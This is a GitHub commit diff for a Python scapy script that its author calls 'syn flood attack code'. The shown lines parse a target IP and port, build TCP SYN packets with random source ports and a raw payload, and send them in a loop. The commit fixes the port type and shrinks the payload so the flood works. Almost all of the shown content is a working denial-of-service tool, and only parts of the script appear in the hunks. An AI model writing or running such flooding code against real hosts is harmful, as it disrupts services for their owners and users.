Skip to content

Commit 3105f40

Browse files
committed
fix issue on syn flood attack code
1 parent ac0ff47 commit 3105f40

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

Diff for: scapy/syn-flood/syn_flood.py

+2-2
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33

44
parser = argparse.ArgumentParser(description="Simple SYN Flood Script")
55
parser.add_argument("target_ip", help="Target IP address (e.g router's IP)")
6-
parser.add_argument("-p", "--port", help="Destination port (the port of the target's machine service, \
6+
parser.add_argument("-p", "--port", type=int, help="Destination port (the port of the target's machine service, \
77
e.g 80 for HTTP, 22 for SSH and so on).")
88
# parse arguments from the command line
99
args = parser.parse_args()
@@ -20,7 +20,7 @@
2020
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
2121
# add some flooding data (1KB in this case, don't increase it too much,
2222
# otherwise, it won't work.)
23-
raw = Raw(b"X"*1024)
23+
raw = Raw(b"X"*2)
2424
# stack up the layers
2525
p = ip / tcp / raw
2626
# send the constructed packet in a loop until CTRL+C is detected

0 commit comments

Comments
 (0)